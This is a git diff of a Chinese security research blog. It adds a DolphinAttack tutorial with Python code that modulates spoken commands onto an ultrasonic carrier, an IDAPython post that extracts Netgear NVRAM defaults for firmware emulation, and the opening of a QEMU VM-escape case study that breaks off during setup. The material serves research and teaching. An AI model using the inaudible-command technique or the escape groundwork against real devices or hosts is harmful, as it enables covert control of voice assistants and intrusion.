文章中提到两种方案,一是具有信号发生器的强大变送器,二是带有智能手机的便携式变送器;前一种方案成本过于高,本文不做分析,后一种方案的实现成本在我们可接收的范围。
|
||||
但原文中对后一方案的实现没有太多介绍,于是我通过邮件咨询了作者-闫琛博士,闫博士非常友好,我是在晚上十点发送的第一封邮件,差不多在十分钟内通过几封邮件的交流,解决了我的问题,很快确定了我的具体实现路径,非常感谢大佬!
|
||||
* Q: 使用便携式设备攻击的时候,三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢?是预先使用专业设备调制好的信号保存为mp3吗?
|
||||
* A: 通过软件调制,生成.wav的超声波音频文件,再通过三星手机播放的。
|
||||
* Q: 用的是什么软件进行调制?
|
||||
* A: 用过matlab和python,都是可以的
|
||||
|
||||
## 0x01 语音命令生成
|
||||
|
||||
https://ttstool.com/
|
||||
微软的TTS接口生成的是mp3格式音频,一般来说我们使用python处理音频都是针对wav格式。
|
||||
https://www.aconvert.com/cn/audio/mp3-to-wav/
|
||||
我们可以通过这个网站对格式做转换。
|
||||
[xiaoyi.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/Eq9qXdQ7_eD5KQaR33wCCw?name=xiaoyi.wav)
|
||||
这个网站的采样率最高只能达到96000hz
|
||||
[6wxmu-crusr.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/aZfltfEV_ZxV1LCGznB1OA?name=6wxmu-crusr.wav)
|
||||
|
||||
## 0x02 语音命令调制
|
||||
|
||||
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性,DolphinAttack必须利用幅度调制(AM)。
|
||||
### AM调制原理
|
||||
使载波的振幅按照所需传送信号的变化规律而变化,但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制(AM)。其中,载波信号的振幅随着调制信号的某种特征的变换而变化。例如,0或1分别对应于无载波或有载波输出,电视的图像信号使用调幅。调频的抗干扰能力强,失真小,但服务半径小。
|
||||
假设载波uc(t)和调制信号的频率分别为ωc和Ω,在已调波中包含三个频率成分:ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频,ωc-Ω称为下边频。
|
||||
|
||||
https://epxx.co/artigos/ammodulation.html
|
||||
http://www.chenjianqu.com/show-44.html
|
||||
https://zhuanlan.zhihu.com/p/54561504
|
||||
http://www.mwhitelab.com/archives/208
|
||||
|
||||
|
||||
### 使用python调制
|
||||
|
||||
现在我们已经有了基带信号,使用[Audacity](https://www.fosshub.com/Audacity.html)对其进行频谱分析,此语音的带宽或频谱(左图为采样频率48khz音频,右图为96khz) :
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/08_YW7UW_PS_TOE_LZZY.png)
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/WGD_U453KYP3M3_2639_5I.png)
|
||||
|
||||
我们可以看到带宽为8000-9000hz左右,这是女声,因此频带范围较宽。这可能导致可听范围内的频率泄露,但这里我们先不去讨论,之后再使用带宽较小的语音以创建基带语音信号。
|
||||
wave包最多能读取的wav音频采样率为[48khz](https://github.com/jiaaro/pydub/issues/134),当超过这个值时,wave就不再支持(wave.Error: unknown format: 65534)。但我们的载波频率为30khz左右,这就要求音频文件的采样率高于60khz才能保证不失真。所幸[`scipy.io.wavfile`](https://kite.com/python/docs/scipy.io.wavfile)支持高于48khz的wav文件读取。
|
||||
使用以下Python程序来生成调制的AM和AM-SC音频,AM是广播无线电调制的“正常”声音,它加上了载波;AM-SC则只是载波与原始信号的乘积。
|
||||
|
||||
|
||||
```python
|
||||
# coding=utf-8
|
||||
import numpy as np
|
||||
import matplotlib.pyplot as plt
|
||||
import os
|
||||
import wave
|
||||
import struct
|
||||
import math
|
||||
from pydub import AudioSegment
|
||||
import scipy.io.wavfile
|
||||
|
||||
def main():
|
||||
test = scipy.io.wavfile.read("xiaoyi.wav")
|
||||
nframes = len(test[1])
|
||||
waveData = np.fromstring(test[1],dtype=np.short)#将原始字符数据转换为整数
|
||||
#音频数据归一化
|
||||
maxW = max(abs(waveData))
|
||||
waveData = waveData * 1.0/maxW
|
||||
#将音频信号规整乘每行一路通道信号的格式,即该矩阵一行为一个通道的采样点,共nchannels行
|
||||
Tdata = np.reshape(waveData,[nframes,1]).T # .T 表示转置
|
||||
am = wave.open("am.wav", "w")
|
||||
amsc = wave.open("amsc.wav", "w")
|
||||
carrier = wave.open("carrier3000.wav", "w")
|
||||
for f in [am,amsc,carrier]:
|
||||
f.setnchannels(1)
|
||||
f.setsampwidth(2)
|
||||
f.setframerate(96000)
|
||||
for n in range(0, nframes):
|
||||
carrier_sample = math.cos(30000.0 * (n / 96000.0) * math.pi * 2)
|
||||
signal_am = signal_amsc= waveData[n] * carrier_sample
|
||||
signal_am += carrier_sample
|
||||
signal_am /= 2
|
||||
am.writeframes(struct.pack('h', signal_am * maxW))
|
||||
amsc.writeframes(struct.pack('h', signal_amsc * maxW))
|
||||
carrier.writeframes(struct.pack('h', carrier_sample * maxW))
|
||||
|
||||
|
||||
if __name__=='__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
|
||||
分别对am.wav、amsc.wav、carrier3000.wav做频谱分析
|
||||
carrier3000.wav的频谱的为集中在载波频率30khz上的一个脉冲[carrier3000.wav](https://coolyim.quip.com/-/blob/OVVAAAmjZcr/9RE4Z0lCs1WACO75zLTAhA?name=carrier3000.wav)
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/K5447O57_S___A_O_Q3V.png)
|
||||
amsc.wav的带宽约为18khz,是原来的两倍,关于f=30khz镜面对称。AM调制会创建原始信号的两个“副本”,一个在21-30kHz频段,另一个在30-39kHz。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/OPSXK_21_7R24_I_NIWM0_8.png)
|
||||
|
||||
am.wav,在这种调制中,我们可以听到载波,而在AM-SC中则听不到。频谱类似于AM-SC,但在载波频率上还有一个尖锐的“尖峰”:
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/G8_K4_ZG__PE2CQ_5_UYY.png)
|
||||
|
||||
|
||||
## 0x03 语音命令发送器
|
||||
下图是由智能手机驱动的便携式发射器。便携式发射器利用智能手机来发射调制信号。许多设备的最佳载波频率都大于24 kHz, 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率,所以只能发送载波频率最高为24 kHz的调制窄带信号。需要支持高达192 kHz的采样率的手机,而且扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题,我使用窄带超声换能器作为扬声器,并在超声换能器之前添加了一个放大器,这样有效的攻击范围得以扩展。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082508/Dolphin%20Attack/Snipaste_2021-01-08_13-06-55.png)
|
@ -7,8 +7,9 @@ tags:
|
||||
- 栈溢出
|
||||
categories:
|
||||
- Pwn
|
||||
description: 之前介绍了Windows x86平台下栈溢出漏洞的开放与利用,鉴于CTF基本都是Linux,还有实际开发环境,很多智能设备的系统都是基于Linux,所以从很现实的需求出发,一定要学习学习Linux下漏洞的分析。
|
||||
---
|
||||
之前介绍了Windows x86平台下栈溢出漏洞的开放与利用,鉴于CTF基本都是Linux,还有实际开发环境,很多智能设备的系统都是基于Linux,所以从很现实的需求出发,一定要学习学习Linux下漏洞的分析。
|
||||
|
||||
|
||||
**ref:**
|
||||
> CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/
|
||||
|
@ -8,6 +8,7 @@ tags:
|
||||
- 重放攻击
|
||||
categories:
|
||||
- IOT
|
||||
description: 局域网内所有的动作都在黑客的掌握之中吗?
|
||||
---
|
||||
# 控制局域网内的IOT设备
|
||||
## 中间人攻击—流量分析
|
||||
|
166
source/_posts/nvram-config.md
Normal file
166
source/_posts/nvram-config.md
Normal file
@ -0,0 +1,166 @@
|
||||
---
|
||||
title: 自动化获取nvram配置
|
||||
date: 2021-01-08 16:27:26
|
||||
tags:
|
||||
- Netgear
|
||||
- UPnP
|
||||
- NVRAM
|
||||
- 固件模拟
|
||||
categories:
|
||||
- IOT
|
||||
description: 还记得固件仿真吗?先试着快速解决nvram
|
||||
---
|
||||
|
||||
ARMX作者说,nvram的内容必须从正在运行的设备中提取。
|
||||
一种方法是转储包含nvram数据的mtdblock, /proc/mtd可能有助于识别哪个mtdblock包含nvram。
|
||||
另一种方法是,如果您可以通过UART进行命令行访问(当然可以访问实际的硬件),某些固件会提供nvram命令,运行“ nvram show”也可以获取nvram内容。
|
||||
https://github.com/therealsaumil/armx/issues/4
|
||||
|
||||
知道创宇的研究人员说,nvram配置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
|
||||
|
||||
我需要无需硬件自动化的处理大批设备的nvram配置,上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te'd
|
||||
|
||||
* upnp等二进制程序通过nvram_match来匹配nvram变量与预期值
|
||||
* libnvram在data段存储了设备的默认nvram配置,**数据段**(data segment)通常是指用来存放[程序](https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F)中已[初始化且不为0](https://zh.wikipedia.org/w/index.php?title=%E5%88%9D%E5%A7%8B%E5%8C%96%E4%B8%94%E4%B8%8D%E4%B8%BA0&action=edit&redlink=1)的[全局变量](https://zh.wikipedia.org/wiki/%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F)的一块内存区域。数据段属于[静态内存分配](https://zh.wikipedia.org/wiki/%E9%9D%99%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D)。
|
||||
|
||||
于是根据这两个事实做了两个实验:
|
||||
|
||||
## match函数
|
||||
|
||||
该函数的逻辑如下,a1为要查询的key,a2为待比较的对应value,调用nvram_get获得nvram中a1的value,然后和a2比较,相同的话返回1。
|
||||
|
||||
```c
|
||||
const char *__fastcall acosNvramConfig_match(int a1, const char *a2)
|
||||
{
|
||||
const char *v2; // r4
|
||||
const char *result; // r0
|
||||
int v4; // [sp+0h] [bp-1008h]
|
||||
|
||||
v2 = a2;
|
||||
result = (const char *)j_nvram_get(a1, &v4, 4096);
|
||||
if ( result )
|
||||
result = (const char *)(strcmp(result, v2) == 0);
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
在upnp二进制程序汇编代码中,调用acosNvramConfig_match来比较nvram
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094619/nvram/image_24.png)
|
||||
我做出了一个假设:所有a2都是能够使程序正常运行的nvram值,现在想要获取它。编写IDA脚本如下:
|
||||
|
||||
```c
|
||||
def GetAddr(func_name):
|
||||
func_list = Functions()
|
||||
for func in func_list:
|
||||
name = GetFunctionName(func)
|
||||
if func_name == name:
|
||||
print(name,hex(func))
|
||||
func_addr=func
|
||||
return func_addr
|
||||
|
||||
func_addr = GetAddr('acosNvramConfig_match')
|
||||
#func_addr=0xa3d4
|
||||
|
||||
for x in XrefsTo(func_addr,flags=0):
|
||||
print "XrefsTo nvram-match func addr: %s"%hex(x.frm)
|
||||
match_addr = x.frm
|
||||
val_addr = PrevHead(match_addr)
|
||||
key_addr = PrevHead(val_addr)
|
||||
if GetMnem(key_addr) == 'LDR':
|
||||
instr = GetDisasm(prevaddr)
|
||||
#print('LDR instruction: %s'%instr)
|
||||
addr = GetOperandValue(key_addr,1)
|
||||
key = GetString(Dword(addr))
|
||||
print('nvram key: %s'%key)
|
||||
if GetMnem(val_addr) == 'LDR':
|
||||
instr = GetDisasm(prevaddr)
|
||||
#print('LDR instruction: %s'%instr)
|
||||
addr = GetOperandValue(val_addr,1)
|
||||
val = GetString(Dword(addr))
|
||||
print('nvram value: %s'%val)
|
||||
```
|
||||
|
||||
1. GetAddr(func_name) 根据函数名获得地址,这里获得了'acosNvramConfig_match'的地址0xa3d4;
|
||||
2. 找到所有引用过该函数的地址,并且提取作为参数的数据。获取到函数的引用非常的简单,只需要使用XrefsTo()这个API函数就能达到我们的目的。
|
||||
3. value是调用match函数的前一条指令;key是调用match函数的前两条指令;操作码都是LDR;
|
||||
4. 使用GetOperandValue() 这个指令得到第二个操作数的值。注意该值存放的是“存放字符串地址”的地址
|
||||
5. 使用Dword(addr)获取“存放字符串地址”,使用GetString()这个API函数从该偏移提取字符串
|
||||
|
||||
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
|
||||
|
||||
```shell
|
||||
('acosNvramConfig_match', '0xa3d4L')
|
||||
XrefsTo nvram-match func addr: 0xc940L
|
||||
nvram key: qos_bw_set_sel
|
||||
nvram value: 1
|
||||
XrefsTo nvram-match func addr: 0xc9b4L
|
||||
nvram key: qos_bw_enable
|
||||
nvram value: 1
|
||||
XrefsTo nvram-match func addr: 0xfbd0L
|
||||
nvram key: wlg_band
|
||||
nvram value: 2.4G
|
||||
XrefsTo nvram-match func addr: 0xfc84L
|
||||
nvram value: 5G
|
||||
XrefsTo nvram-match func addr: 0xff70L
|
||||
nvram key: wlg_band
|
||||
nvram value: 2.4G
|
||||
nvram value: static
|
||||
XrefsTo nvram-match func addr: 0x13d2cL
|
||||
nvram key: board_id
|
||||
nvram value: U12H127T00_NETGEAR
|
||||
```
|
||||
|
||||
## NVRAM默认配置
|
||||
|
||||
如上所述,libnvram.so中data段存放着默认配置
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610094620/nvram/image_23.png)
|
||||
利用IDApython获取该区域存放的键值,注意:该区域并不存放字符串,而是存放“存放字符串地址处”的地址,所以也要通过Doword来获取实际地址
|
||||
|
||||
```python
|
||||
import idautils
|
||||
for seg in idautils.Segments():
|
||||
if SegName(seg) == '.data':
|
||||
start = idc.SegStart(seg)
|
||||
end = idc.SegEnd(seg)
|
||||
print idc.SegName(seg),start,end
|
||||
while(start!=end):
|
||||
key = GetString(Dword(start))
|
||||
if key != None and key != '0':
|
||||
start += 4
|
||||
val = GetString(Dword(start))
|
||||
if 'upnp' in key:
|
||||
print('%s=%s'%(key,val))
|
||||
start += 4
|
||||
```
|
||||
|
||||
这里我们只关注有upnp特征的键值对
|
||||
|
||||
```shell
|
||||
.data [77868 94004](tel:7786894004)
|
||||
upnp_enable=1
|
||||
upnp_turn_on=1
|
||||
upnp_advert_period=30
|
||||
upnp_advert_ttl=4
|
||||
upnp_portmap_entry=0
|
||||
upnp_duration=3600
|
||||
upnp_DHCPServerConfigurable=1
|
||||
```
|
||||
|
||||
另外再补充几个与网络有关的配置
|
||||
|
||||
```shell
|
||||
friendly_name=Netgear
|
||||
lan_hwaddr=AA:BB:CC:DD:EE:FF
|
||||
lan_ipaddr=192.168.2.2
|
||||
```
|
||||
|
||||
使用这个配置成功仿真~
|
||||
|
||||
|
||||
## 一些IDApython使用方法
|
||||
|
||||
蒸米写的:https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
|
||||
https://cartermgj.github.io/2017/10/10/ida-python/
|
||||
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
|
||||
https://www.0xaa55.com/thread-1586-1-1.html
|
||||
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html
|
@ -2,8 +2,12 @@
|
||||
title: 加壳与脱壳
|
||||
date: 2019-05-14 11:20:59
|
||||
tags:
|
||||
- 逆向
|
||||
- 破解
|
||||
categories: 二进制
|
||||
description: 壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
|
||||
---
|
||||
壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。
|
||||
|
||||
壳附加在原始程序上,通过Windows加载器载入内存后,先于原始程序执行,以得到控制权,在执行的过程中对原始程序进行解密还原,然后把控制权还给原始程序,执行原来的代码。
|
||||
加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。
|
||||
|
||||
|
@ -7,6 +7,7 @@ tags:
|
||||
- 密码
|
||||
- QQ
|
||||
- 数据库
|
||||
description: 很久远的攻击,可能现在还有效
|
||||
---
|
||||
|
||||
# qq数据库采用简单加密——异或加密
|
||||
|
564
source/_posts/vm-escape1.md
Normal file
564
source/_posts/vm-escape1.md
Normal file
@ -0,0 +1,564 @@
|
||||
---
|
||||
title: VM escape-QEMU Case Study
|
||||
date: 2021-04-10 18:25:46
|
||||
tags:
|
||||
- QEMU
|
||||
- CVE
|
||||
- 信息泄露
|
||||
categories:
|
||||
- Pwn
|
||||
description: 进入QEMU虚拟机逃逸的世界
|
||||
---
|
||||
|
||||
## 1 Intro
|
||||
|
||||
如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在*受控和受限*的环境中分析恶意软件。 一个自然的问题出现了:**恶意软件能否从虚拟机中逃脱并在主机上执行代码?**
|
||||
|
||||
2015年,来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误([CVE-2015-3456](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456)),该错误影响了虚拟软盘驱动器代码,这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注,可能是因为它有一个专用名([VENOM](https://www.crowdstrike.com/blog/venom-vulnerability-details/)),这并不是第一个此类漏洞。
|
||||
|
||||
2011年,[Nelson Elhage](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf)在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的[漏洞](https://github.com/nelhage/virtunoid)。
|
||||
|
||||
2016年,来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞(CVE-2015-5165和CVE-2015-7504)。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。
|
||||
|
||||
在本文中,我们提供了对CVE-2015-5165(一个内存泄漏漏洞)和CVE-2015-7504(一个基于堆的溢出漏洞)的深入分析,以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。
|
||||
|
||||
我们讨论了技术细节,以利用QEMU的**网卡设备仿真**中的漏洞,并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。
|
||||
|
||||
|
||||
## 2 KVM/QEMU Overview
|
||||
|
||||
KVM(Kernal-based Virtual Machine,基于内核的虚拟机)是一个内核模块,可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
|
||||
|
||||
KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。
|
||||
|
||||
|
||||
### 2.1 Workspace Environment
|
||||
|
||||
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
|
||||
|
||||
由于我们定位的漏洞已经修复,因此我们需要签出QEMU存储库的源,并切换到这些漏洞的修复之前的提交。 然后,我们仅为目标x86_64配置QEMU并启用调试,在我们的测试环境中,我们使用Gcc的4.9.2版构建QEMU:
|
||||
|
||||
```shell
|
||||
$ git clone git://git.qemu-project.org/qemu.git
|
||||
$
|
||||
$ git checkout bd80b59
|
||||
$ mkdir -p bin/debug/native
|
||||
$ cd bin/debug/native
|
||||
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
|
||||
$ make
|
||||
```
|
||||
|
||||
|
||||
使用qemu-img来生成一个qcow2系统文件
|
||||
|
||||
```shell
|
||||
$ ./qemu-img create -f qcow2 ubuntu.qcow2 20G`
|
||||
$ sudo chmod 666 /dev/kvm
|
||||
```
|
||||
|
||||
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装,需要用-cdrom对iso镜像文件进行加载
|
||||
|
||||
```shell
|
||||
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\
|
||||
'/home/han/VMescape/ubuntu-16.04-server-amd64.iso'
|
||||
```
|
||||
|
||||
安装完成后就获得了一个有系统的qcow2文件,我们分配2GB的内存并创建两个网络接口卡:RTL8139和PCNET,同时创建tap接口连接虚拟机和主机:
|
||||
|
||||
```shell
|
||||
✗ sudo tunctl -t tap0 -u `whoami`
|
||||
✗ sudo ifconfig tap0 192.168.2.1/24
|
||||
$ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
|
||||
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, \
|
||||
-device pcnet,netdev=t1,id=nic1 -drive \
|
||||
file=/home/han/VMescape/qemu/bin/debug/native/ubuntu.qcow2,\
|
||||
format=qcow2,if=ide,cache=writeback,\
|
||||
-net nic -net tap,ifname=tap0,script=no,downscript=no
|
||||
```
|
||||
|
||||
使用vncviewer连接qemu
|
||||
|
||||
```
|
||||
apt-get install xvnc4viewer
|
||||
vncviewer 127.0.0.1:5989
|
||||
```
|
||||
|
||||
### 2.2 QEMU Memory Layout
|
||||
|
||||
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意,分配guest的物理内存时未启用PROT_EXEC标志。
|
||||
|
||||
下图说明了来宾的内存和主机的内存如何共存。
|
||||
|
||||
|
||||
```shell
|
||||
Guest' processes
|
||||
+--------------------+
|
||||
Virtual addr space | |
|
||||
+--------------------+
|
||||
| |
|
||||
\__ Page Table \__
|
||||
\ \
|
||||
| | Guest kernel
|
||||
+----+--------------------+----------------+
|
||||
Guest's phy. memory | | | |
|
||||
+----+--------------------+----------------+
|
||||
| |
|
||||
\__ \__
|
||||
\ \
|
||||
| QEMU process |
|
||||
+----+------------------------------------------+
|
||||
Virtual addr space | | |
|
||||
+----+------------------------------------------+
|
||||
| |
|
||||
\__ Page Table \__
|
||||
\ \
|
||||
| |
|
||||
+----+-----------------------------------------------++
|
||||
Physical memory | | ||
|
||||
+----+-----------------------------------------------++
|
||||
```
|
||||
|
||||
此外,QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用:
|
||||
|
||||
```shell
|
||||
✗ cat /proc/36220/maps
|
||||
555aae05c000-555aae931000 r-xp 00000000 08:01 2239549 /usr/bin/qemu-system-x86_64
|
||||
555aaeb30000-555aaecfc000 r--p 008d4000 08:01 2239549 /usr/bin/qemu-system-x86_64
|
||||
555aaecfc000-555aaed7b000 rw-p 00aa0000 08:01 2239549 /usr/bin/qemu-system-x86_64
|
||||
555aaed7b000-555aaf1de000 rw-p 00000000 00:00 0
|
||||
555ab0c1c000-555ab2015000 rw-p 00000000 00:00 0 [heap]
|
||||
7f90b2e2b000-7f90b2e38000 r-xp 00000000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
|
||||
7f90b2e38000-7f90b3037000 ---p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
|
||||
7f90b3037000-7f90b3038000 r--p 0000c000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
|
||||
7f90b3038000-7f90b3039000 rw-p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25
|
||||
|
||||
.... [other shared libs]
|
||||
|
||||
7f9152f96000-7f9152f99000 rw-s 00000000 00:0e 12527 anon_inode:kvm-vcpu:0
|
||||
7f9152f99000-7f9152f9a000 r--p 00029000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
|
||||
7f9152f9a000-7f9152f9b000 rw-p 0002a000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so
|
||||
7f9152f9b000-7f9152f9c000 rw-p 00000000 00:00 0
|
||||
7ffe2cf63000-7ffe2cf84000 rw-p 00000000 00:00 0 [stack]
|
||||
7ffe2cf8f000-7ffe2cf92000 r--p 00000000 00:00 0 [vvar]
|
||||
7ffe2cf92000-7ffe2cf93000 r-xp 00000000 00:00 0 [vdso]
|
||||
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
|
||||
```
|
||||
|
||||
有关虚拟化环境中内存管理的更详细说明,请参见:http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
|
||||
|
||||
|
||||
### 2.3 Address Translation
|
||||
|
||||
在QEMU中存在两个翻译层:Guest Virtual Address → Guest Physical Address → Host Virtual Address
|
||||
|
||||
* 从Guest虚拟地址到Guest物理地址。 在我们的利用中,我们需要配置需要DMA访问的网卡设备。 例如,我们需要提供Tx / Rx缓冲区的**物理地址**以正确配置网卡设备。
|
||||
* 从Guest物理地址到QEMU的虚拟地址空间。 在我们的攻击中,我们需要注入伪造的结构,并在**QEMU的虚拟地址空间**中获得其精确地址。
|
||||
|
||||
在x64系统上,虚拟地址由页偏移量(位0-11)和页码组成。 在linux系统上,具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件(pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值,其中`physical_address = PFN * page_size + offset`
|
||||
|
||||
```shell
|
||||
- Bits 0-54 : physical frame number if present.
|
||||
- Bit 55 : page table entry is soft-dirty.
|
||||
- Bit 56 : page exclusively mapped.
|
||||
- Bits 57-60 : zero
|
||||
- Bit 61 : page is file-page or shared-anon.
|
||||
- Bit 62 : page is swapped.
|
||||
- Bit 63 : page is present.
|
||||
```
|
||||
|
||||
将[虚拟地址(Guest Virtual Address)转换为物理地址(Guest Physical Address)](https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/)的过程包括
|
||||
|
||||
1. 64wei每个页面的大小为 `4096` 字节,即 `1 << 12` ;
|
||||
|
||||
1. 基于 `/proc/pid/pagemap` 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number(PFN)等;
|
||||
|
||||
* `pagemap` 文件为每个 Virtual Page 存储 `64` 位(即 `8` 字节)的信息,数据格式如上。
|
||||
|
||||
1. 对任意的虚拟地址 `address` ,基于 `address/4096` 可以计算出该虚拟地址在 `pagemap` 文件中的索引值, `address/4096 * 8` 即对应的文件偏移值,在该位置能够获取**PFN**信息;
|
||||
|
||||
1. 页内偏移对任意的虚拟地址 `address` ,`address%4096` 即虚拟地址在对应的内存页中的**偏移值**;
|
||||
|
||||
1. 根据物理内存的 PFN (**physical frame number**)以及页内偏移,就可以计算出对应的物理地址;
|
||||
|
||||
```
|
||||
physical_address = PFN * page_size + offset
|
||||
physcial_addr =(page_frame_number << PAGE_SHIFT) + distance_from_page_boundary_of_buffer
|
||||
```
|
||||
|
||||
我们依靠Nelson Elhage的[代码](https://github.com/nelhage/virtunoid/blob/master/virtunoid.c)。 下面的程序分配一个缓冲区,并用字符串“Where am I?”填充它。 并打印其物理地址:
|
||||
|
||||
```c
|
||||
---[ mmu.c ]---
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <assert.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
#define PAGE_SHIFT 12
|
||||
#define PAGE_SIZE (1 << PAGE_SHIFT)
|
||||
#define PFN_PRESENT (1ull << 63)
|
||||
#define PFN_PFN ((1ull << 55) - 1)
|
||||
|
||||
int fd;
|
||||
|
||||
uint32_t page_offset(uint32_t addr)
|
||||
{
|
||||
return addr & ((1 << PAGE_SHIFT) - 1);
|
||||
}
|
||||
|
||||
uint64_t gva_to_gfn(void *addr)
|
||||
{
|
||||
uint64_t pme, gfn;
|
||||
size_t offset;
|
||||
offset = ((uintptr_t)addr >> 9) & ~7;
|
||||
lseek(fd, offset, SEEK_SET);
|
||||
read(fd, &pme, 8);
|
||||
if (!(pme & PFN_PRESENT))
|
||||
return -1;
|
||||
# The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit
|
||||
gfn = pme & PFN_PFN;
|
||||
return gfn;
|
||||
}
|
||||
|
||||
uint64_t gva_to_gpa(void *addr)
|
||||
{
|
||||
uint64_t gfn = gva_to_gfn(addr);
|
||||
assert(gfn != -1);
|
||||
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
uint8_t *ptr;
|
||||
uint64_t ptr_mem;
|
||||
|
||||
fd = open("/proc/self/pagemap", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ptr = malloc(256);
|
||||
strcpy(ptr, "Where am I?");
|
||||
printf("%s\n", ptr);
|
||||
ptr_mem = gva_to_gpa(ptr);
|
||||
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
|
||||
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
静态编译好程序之后将其上传到 QEMU 虚拟机中以 `root` 身份执行,打印出物理地址为 `0x73b17b20`
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png)
|
||||
在主机将gdb附加到QEMU进程,我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说,输出的guest物理地址地址实际上是与**guest物理内存基址**的偏移量。
|
||||
|
||||
```shell
|
||||
✗ sudo gdb qemu-system-x86_64 38140
|
||||
(gdb) info proc mappings
|
||||
process 38140
|
||||
Mapped address spaces:
|
||||
|
||||
